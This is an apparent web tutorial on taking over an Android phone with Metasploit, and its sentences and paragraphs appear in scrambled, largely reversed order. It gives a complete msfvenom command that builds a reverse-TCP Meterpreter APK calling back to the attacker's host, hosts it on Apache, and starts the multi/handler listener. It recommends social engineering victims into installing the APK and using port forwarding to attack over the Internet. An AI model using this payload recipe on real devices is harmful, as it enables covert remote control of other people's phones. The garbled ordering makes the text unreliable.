

For demonstration we are just accessing the attacker machine to download the file in the Android device.Īfter downloading it successfully, select the app to install. In real life scenarios, some social engineering techniques can be used to let the target download the malicious apk file. Use multi/handler exploit, set payload the same as generated prevoisly, set LHOST and LPORT values same as used in payload and finally type exploit to launch an attack. Type command:Īll seems set, now fire up msfconsole. This would take some time to generate an apk file of almost ten thousand bytes.īefore launching attack, we need to check the status of the apache server. apk is the final name of the final output.R> /var/www/html would give the output directly on apache server.

android/metepreter/reverse_tcp specifies a reverse meterpreter shell would come in from a target Android device.# msfvenom –p android/meterpreter/reverse_tcp LHOST=192.168.0.112 LPORT=4444 R> /var/www/html/ehacking.apk You can also hack an Android device through Internet by using your Public/External IP in the LHOST and by port forwarding.Īfter getting your Local host IP use msfvenom tool that will generate a payload to penetrate the Android device. We need to check our local IP that turns out to be ‘192.168.0.112’. Step by step Tutorial Generating a Payload with msfvenomĪt first, fire up the Kali Linux so that we may generate an apk file as a malicious payload. An attacker needs to do some social engineering to install apk on the victim’s mobile device. Once the target downloads and installs the malicious apk then, an attacker can easily get back a meterpreter session on Metasploit. After generating the payload, we need to setup a listener to Metasploit framework.

We will use msfvenom for creating a payload and save it as an apk file. Of course, there are going to be some limitations and differences between a virtual Android and a physical Android device but for the purpose of learning pentesting it is recommended to conduct this test on a virtual device. The target has set to be an Android Phone and for that we are using an Android virtual machine. Here we are using Kali Linux to attack the target.

We get requests from people on social channels asking “how to hack an android phone”, so thought making a video tutorial on this. That is why choosing Android is the best way to learn Mobile Penetration Testing. Android devices are growing very fast worldwide and actually using a lot of the core capabilities of Linux systems. In this article, we are going to learn how to hack an Android phone using Metasploit framework.
